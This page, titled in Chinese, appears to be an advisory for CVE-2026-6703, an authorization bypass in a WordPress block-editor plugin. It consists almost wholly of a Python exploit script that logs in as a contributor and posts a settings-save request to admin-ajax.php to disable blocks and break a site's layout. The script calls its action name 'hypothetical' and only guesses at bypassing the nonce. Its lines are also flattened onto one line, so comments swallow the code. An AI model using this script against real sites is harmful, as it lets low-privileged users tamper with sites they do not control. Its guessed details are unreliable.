CVE-2026-6703 WordPress插件权限绕过漏洞

import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" login_url = "http://example.com/wp-login.php" username = "contributor" password = "password" # 1. Establish session and authenticate as a low-privileged user session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': 'http://example.com/wp-admin/' } session.post(login_url, data=login_data) # 2. Prepare payload to exploit the authorization bypass # The action name 'responsive_block_editor_addons_save_settings' is hypothetical based on the plugin structure payload_data = { 'action': 'responsive_block_editor_addons_save_settings', 'security': 'some_nonce_value_if_required', # May be bypassed or obtained # Malicious configuration changes 'settings[custom_css_enabled]': '0', # Disable custom CSS 'settings[content_width]': '10000px', # Break layout 'settings[disable_blocks]': 'core/paragraph' # Disable core blocks } # 3. Send the exploit request response = session.post(target_url, data=payload_data) # 4. Check result if response.status_code == 200 and "success" in response.text: print("[+] Exploit successful! Global settings modified.") else: print("[-] Exploit failed.")